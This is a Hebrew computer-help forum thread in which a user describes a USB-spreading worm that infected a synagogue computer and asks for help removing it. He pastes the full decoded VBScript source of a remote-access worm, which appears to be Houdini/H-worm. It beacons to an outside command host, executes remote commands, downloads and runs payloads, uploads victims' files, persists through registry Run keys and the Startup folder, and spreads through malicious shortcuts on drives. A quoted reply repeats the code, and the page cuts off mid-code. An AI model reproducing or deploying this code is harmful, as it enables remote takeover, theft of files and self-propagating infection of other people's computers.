דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
24 פוסטים 7 כותבים 186 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • ר מנותק
    ר מנותק
    רנדומלי
    כתב נערך לאחרונה על ידי
    #1

    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

    cmd /c hrxxryydxo.vbs && start explorer [file name]
    

    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
    

    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
    לאחר פיענוח הקידוד התקבל הקוד הבא:
    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

    e
    '<[ recoder : houdini (c) skype : houdini-fx ]>
    
    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
    host = "khattab.no-ip.biz"
    port = 5550
    installdir = "%temp%"
    lnkfile = true
    lnkfolder = true
    
    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
    
    dim shellobj 
    set shellobj = wscript.createobject("wscript.shell")
    dim filesystemobj
    set filesystemobj = createobject("scripting.filesystemobject")
    dim httpobj
    set httpobj = createobject("msxml2.xmlhttp")
    
    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
    
    installname = wscript.scriptname
    startup = shellobj.specialfolders ("startup") & "\"
    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
    spliter = "<" & "|" & ">"
    sleep = 5000 
    dim response
    dim cmd
    dim param
    info = ""
    usbspreading = ""
    startdate = ""
    dim oneonce
    
    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
    on error resume next
    
    instance
    while true
    
    install
    
    response = ""
    response = post ("is-ready","")
    cmd = split (response,spliter)
    select case cmd (0)
    case "excecute"
          param = cmd (1)
          execute param
    case "update"
          param = cmd (1)
          oneonce.close
          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
          oneonce.write param
          oneonce.close
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
          wscript.quit 
    case "uninstall"
          uninstall
    case "send"
          download cmd (1),cmd (2)
    case "site-send"
          sitedownloader cmd (1),cmd (2)
    case "recv"
          param = cmd (1)
          upload (param)
    case  "enum-driver"
          post "is-enum-driver",enumdriver  
    case  "enum-faf"
          param = cmd (1)
          post "is-enum-faf",enumfaf (param)
    case  "enum-process"
          post "is-enum-process",enumprocess   
    case  "cmd-shell"
          param = cmd (1)
          post "is-cmd-shell",cmdshell (param)  
    case  "delete"
          param = cmd (1)
          deletefaf (param) 
    case  "exit-process"
          param = cmd (1)
          exitprocess (param) 
    case  "sleep"
          param = cmd (1)
          sleep = eval (param)        
    end select
    
    wscript.sleep sleep
    
    wend
    
    sub install
    on error resume next
    dim lnkobj
    dim filename
    dim foldername
    dim fileicon
    dim foldericon
    
    upstart
    for each drive in filesystemobj.drives
    
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
            if not lnkfile then exit for
            if  instr (file.name,".") then
                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                    file.attributes = 2+4
                    if  ucase (file.name) <> ucase (installname) then
                        filename = split(file.name,".")
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                        if  instr (fileicon,",") = 0 then
                            lnkobj.iconlocation = file.path
                        else 
                            lnkobj.iconlocation = fileicon
                        end if
                        lnkobj.save()
                    end if
                end if
            end if
        next
        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
            if not lnkfolder then exit for
            folder.attributes = 2+4
            foldername = folder.name
            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
            lnkobj.windowstyle = 7
            lnkobj.targetpath = "cmd.exe"
            lnkobj.workingdirectory = ""
            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
            if  instr (foldericon,",") = 0 then
                lnkobj.iconlocation = folder.path
            else 
                lnkobj.iconlocation = foldericon
            end if
            lnkobj.save()
        next
    end If
    end If
    end if
    next
    err.clear
    end sub
    
    sub uninstall
    on error resume next
    dim filename
    dim foldername
    
    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    filesystemobj.deletefile startup & installname ,true
    filesystemobj.deletefile wscript.scriptfullname ,true
    
    for  each drive in filesystemobj.drives
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        for  each file in filesystemobj.getfolder ( drive.path & "\").files
             on error resume next
             if  instr (file.name,".") then
                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                     file.attributes = 0
                     if  ucase (file.name) <> ucase (installname) then
                         filename = split(file.name,".")
                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                     else
                         filesystemobj.deletefile (drive.path & "\" & file.name)
                     end If
                 else
                     filesystemobj.deletefile (file.path) 
                 end if
             end if
         next
         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
             folder.attributes = 0
         next
    end if
    end if
    end if
    next
    wscript.quit
    end sub
    
    function post (cmd ,param)
    
    post = param
    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
    httpobj.setrequestheader "user-agent:",information
    httpobj.send param
    post = httpobj.responsetext
    end function
    
    function information
    on error resume next
    if  inf = "" then
        inf = hwid & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
    
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set os = root.execquery ("select * from win32_operatingsystem")
        for each osinfo in os
           inf = inf & osinfo.caption & spliter  
           exit for
        next
        inf = inf & "plus" & spliter
        inf = inf & security & spliter
        inf = inf & usbspreading
        information = inf  
    else
        information = inf
    end if
    end function
    
    sub upstart ()
    on error resume Next
    
    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
    
    end sub
    
    function hwid
    on error resume next
    
    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set disks = root.execquery ("select * from win32_logicaldisk")
    for each disk in disks
        if  disk.volumeserialnumber <> "" then
            hwid = disk.volumeserialnumber
            exit for
        end if
    next
    end function
    
    function security 
    on error resume next
    
    security = ""
    
    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
    for each objitem in colitems
        versionstr = split (objitem.version,".")
    next
    versionstr = split (colitems.version,".")
    osversion = versionstr (0) & "."
    for  x = 1 to ubound (versionstr)
         osversion = osversion &  versionstr (i)
    next
    osversion = eval (osversion)
    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
    
    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
    
    for each objantivirus in colantivirus
        security  = security  & objantivirus.displayname & " ."
    next
    if security  = "" then security  = "nan-av"
    end function
    
    function instance
    on error resume next
    
    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
    if usbspreading = "" then
       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
          usbspreading = "true - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
       else
          usbspreading = "false - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
    
       end if
    end If
    
    
    upstart
    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
        wscript.quit 
    end If
    err.clear
    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
    if  err.number > 0 then wscript.quit
    end function
    
    sub sitedownloader (fileurl,filename)
    
    strlink = fileurl
    strsaveto = installdir & filename
    set objhttpdownload = createobject("msxml2.xmlhttp" )
    objhttpdownload.open "get", strlink, false
    objhttpdownload.send
    
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
     
    if objhttpdownload.status = 200 then
       dim  objstreamdownload
       set  objstreamdownload = createobject("adodb.stream")
       with objstreamdownload
            .type = 1 
            .open
            .write objhttpdownload.responsebody
            .savetofile strsaveto
            .close
       end with
       set objstreamdownload = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    sub download (fileurl,filedir)
    
    if filedir = "" then 
       filedir = installdir
    end if
    
    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
    set objhttpdownload = createobject("msxml2.xmlhttp")
    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
    objhttpdownload.send ""
         
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
    if  objhttpdownload.status = 200 then
        dim  objstreamdownload
        set  objstreamdownload = createobject("adodb.stream")
        with objstreamdownload 
             .type = 1 
             .open
             .write objhttpdownload.responsebody
             .savetofile strsaveto
             .close
        end with
        set objstreamdownload  = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    function upload (fileurl)
    
    dim  httpobj,objstreamuploade,buffer
    set  objstreamuploade = createobject("adodb.stream")
    with objstreamuploade 
         .type = 1 
         .open
         .loadfromfile fileurl
         buffer = .read
         .close
    end with
    set objstreamdownload = nothing
    set httpobj = createobject("msxml2.xmlhttp")
    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
    httpobj.send buffer
    end function
    
    function enumdriver ()
    
    for  each drive in filesystemobj.drives
    if   drive.isready = true then
         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
    end if
    next
    end Function
    
    function enumfaf (enumdir)
    
    enumfaf = enumdir & spliter
    for  each folder in filesystemobj.getfolder (enumdir).subfolders
         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
    next
    
    for  each file in filesystemobj.getfolder (enumdir).files
         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
    
    next
    end function
    
    function enumprocess ()
    
    on error resume next
    
    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_process",,48)
    
    dim objitem
    for each objitem in colitems
        enumprocess = enumprocess & objitem.name & "|"
        enumprocess = enumprocess & objitem.processid & "|"
        enumprocess = enumprocess & objitem.executablepath & spliter
    next
    end function
    
    sub exitprocess (pid)
    on error resume next
    
    shellobj.run "taskkill /F /T /PID " & pid,7,true
    end sub
    
    sub deletefaf (url)
    on error resume next
    
    filesystemobj.deletefile url
    filesystemobj.deletefolder url
    
    end sub
    
    function cmdshell (cmd)
    
    dim httpobj,oexec,readallfromany
    
    set oexec = shellobj.exec ("%comspec% /c " & cmd)
    if not oexec.stdout.atendofstream then
       readallfromany = oexec.stdout.readall
    elseif not oexec.stderr.atendofstream then
       readallfromany = oexec.stderr.readall
    else 
       readallfromany = ""
    end if
    
    cmdshell = readallfromany
    end function
    
    מ cfopuserC מתכנת חובבמ ת 5 תגובות תגובה אחרונה
    2
    • ר רנדומלי

      בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

      cmd /c hrxxryydxo.vbs && start explorer [file name]
      

      הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

      תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

      לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

      z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
      

      בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
      לאחר פיענוח הקידוד התקבל הקוד הבא:
      אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

      e
      '<[ recoder : houdini (c) skype : houdini-fx ]>
      
      '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      
      host = "khattab.no-ip.biz"
      port = 5550
      installdir = "%temp%"
      lnkfile = true
      lnkfolder = true
      
      '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
      
      dim shellobj 
      set shellobj = wscript.createobject("wscript.shell")
      dim filesystemobj
      set filesystemobj = createobject("scripting.filesystemobject")
      dim httpobj
      set httpobj = createobject("msxml2.xmlhttp")
      
      '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
      
      installname = wscript.scriptname
      startup = shellobj.specialfolders ("startup") & "\"
      installdir = shellobj.expandenvironmentstrings(installdir) & "\"
      if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
      spliter = "<" & "|" & ">"
      sleep = 5000 
      dim response
      dim cmd
      dim param
      info = ""
      usbspreading = ""
      startdate = ""
      dim oneonce
      
      '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
      on error resume next
      
      instance
      while true
      
      install
      
      response = ""
      response = post ("is-ready","")
      cmd = split (response,spliter)
      select case cmd (0)
      case "excecute"
            param = cmd (1)
            execute param
      case "update"
            param = cmd (1)
            oneonce.close
            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
            oneonce.write param
            oneonce.close
            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
            wscript.quit 
      case "uninstall"
            uninstall
      case "send"
            download cmd (1),cmd (2)
      case "site-send"
            sitedownloader cmd (1),cmd (2)
      case "recv"
            param = cmd (1)
            upload (param)
      case  "enum-driver"
            post "is-enum-driver",enumdriver  
      case  "enum-faf"
            param = cmd (1)
            post "is-enum-faf",enumfaf (param)
      case  "enum-process"
            post "is-enum-process",enumprocess   
      case  "cmd-shell"
            param = cmd (1)
            post "is-cmd-shell",cmdshell (param)  
      case  "delete"
            param = cmd (1)
            deletefaf (param) 
      case  "exit-process"
            param = cmd (1)
            exitprocess (param) 
      case  "sleep"
            param = cmd (1)
            sleep = eval (param)        
      end select
      
      wscript.sleep sleep
      
      wend
      
      sub install
      on error resume next
      dim lnkobj
      dim filename
      dim foldername
      dim fileicon
      dim foldericon
      
      upstart
      for each drive in filesystemobj.drives
      
      if  drive.isready = true then
      if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
          filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
          if  filesystemobj.fileexists (drive.path & "\" & installname)  then
              filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
          end if
          for each file in filesystemobj.getfolder( drive.path & "\" ).Files
              if not lnkfile then exit for
              if  instr (file.name,".") then
                  if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                      file.attributes = 2+4
                      if  ucase (file.name) <> ucase (installname) then
                          filename = split(file.name,".")
                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                          lnkobj.windowstyle = 7
                          lnkobj.targetpath = "cmd.exe"
                          lnkobj.workingdirectory = ""
                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                          fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                          if  instr (fileicon,",") = 0 then
                              lnkobj.iconlocation = file.path
                          else 
                              lnkobj.iconlocation = fileicon
                          end if
                          lnkobj.save()
                      end if
                  end if
              end if
          next
          for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
              if not lnkfolder then exit for
              folder.attributes = 2+4
              foldername = folder.name
              set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
              lnkobj.windowstyle = 7
              lnkobj.targetpath = "cmd.exe"
              lnkobj.workingdirectory = ""
              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
              foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
              if  instr (foldericon,",") = 0 then
                  lnkobj.iconlocation = folder.path
              else 
                  lnkobj.iconlocation = foldericon
              end if
              lnkobj.save()
          next
      end If
      end If
      end if
      next
      err.clear
      end sub
      
      sub uninstall
      on error resume next
      dim filename
      dim foldername
      
      shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
      shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
      filesystemobj.deletefile startup & installname ,true
      filesystemobj.deletefile wscript.scriptfullname ,true
      
      for  each drive in filesystemobj.drives
      if  drive.isready = true then
      if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
          for  each file in filesystemobj.getfolder ( drive.path & "\").files
               on error resume next
               if  instr (file.name,".") then
                   if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                       file.attributes = 0
                       if  ucase (file.name) <> ucase (installname) then
                           filename = split(file.name,".")
                           filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                       else
                           filesystemobj.deletefile (drive.path & "\" & file.name)
                       end If
                   else
                       filesystemobj.deletefile (file.path) 
                   end if
               end if
           next
           for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
               folder.attributes = 0
           next
      end if
      end if
      end if
      next
      wscript.quit
      end sub
      
      function post (cmd ,param)
      
      post = param
      httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
      httpobj.setrequestheader "user-agent:",information
      httpobj.send param
      post = httpobj.responsetext
      end function
      
      function information
      on error resume next
      if  inf = "" then
          inf = hwid & spliter 
          inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
          inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
      
          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
          set os = root.execquery ("select * from win32_operatingsystem")
          for each osinfo in os
             inf = inf & osinfo.caption & spliter  
             exit for
          next
          inf = inf & "plus" & spliter
          inf = inf & security & spliter
          inf = inf & usbspreading
          information = inf  
      else
          information = inf
      end if
      end function
      
      sub upstart ()
      on error resume Next
      
      shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
      filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
      filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
      
      end sub
      
      function hwid
      on error resume next
      
      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
      set disks = root.execquery ("select * from win32_logicaldisk")
      for each disk in disks
          if  disk.volumeserialnumber <> "" then
              hwid = disk.volumeserialnumber
              exit for
          end if
      next
      end function
      
      function security 
      on error resume next
      
      security = ""
      
      set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
      set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
      for each objitem in colitems
          versionstr = split (objitem.version,".")
      next
      versionstr = split (colitems.version,".")
      osversion = versionstr (0) & "."
      for  x = 1 to ubound (versionstr)
           osversion = osversion &  versionstr (i)
      next
      osversion = eval (osversion)
      if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
      
      set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
      Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
      
      for each objantivirus in colantivirus
          security  = security  & objantivirus.displayname & " ."
      next
      if security  = "" then security  = "nan-av"
      end function
      
      function instance
      on error resume next
      
      usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
      if usbspreading = "" then
         if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
            usbspreading = "true - " & date
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
         else
            usbspreading = "false - " & date
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
      
         end if
      end If
      
      
      upstart
      set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
      set installfullnameshort =  filesystemobj.getfile (installdir & installname)
      if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
          wscript.quit 
      end If
      err.clear
      set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
      if  err.number > 0 then wscript.quit
      end function
      
      sub sitedownloader (fileurl,filename)
      
      strlink = fileurl
      strsaveto = installdir & filename
      set objhttpdownload = createobject("msxml2.xmlhttp" )
      objhttpdownload.open "get", strlink, false
      objhttpdownload.send
      
      set objfsodownload = createobject ("scripting.filesystemobject")
      if  objfsodownload.fileexists (strsaveto) then
          objfsodownload.deletefile (strsaveto)
      end if
       
      if objhttpdownload.status = 200 then
         dim  objstreamdownload
         set  objstreamdownload = createobject("adodb.stream")
         with objstreamdownload
              .type = 1 
              .open
              .write objhttpdownload.responsebody
              .savetofile strsaveto
              .close
         end with
         set objstreamdownload = nothing
      end if
      if objfsodownload.fileexists(strsaveto) then
         shellobj.run objfsodownload.getfile (strsaveto).shortpath
      end if 
      end sub
      
      sub download (fileurl,filedir)
      
      if filedir = "" then 
         filedir = installdir
      end if
      
      strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
      set objhttpdownload = createobject("msxml2.xmlhttp")
      objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
      objhttpdownload.send ""
           
      set objfsodownload = createobject ("scripting.filesystemobject")
      if  objfsodownload.fileexists (strsaveto) then
          objfsodownload.deletefile (strsaveto)
      end if
      if  objhttpdownload.status = 200 then
          dim  objstreamdownload
          set  objstreamdownload = createobject("adodb.stream")
          with objstreamdownload 
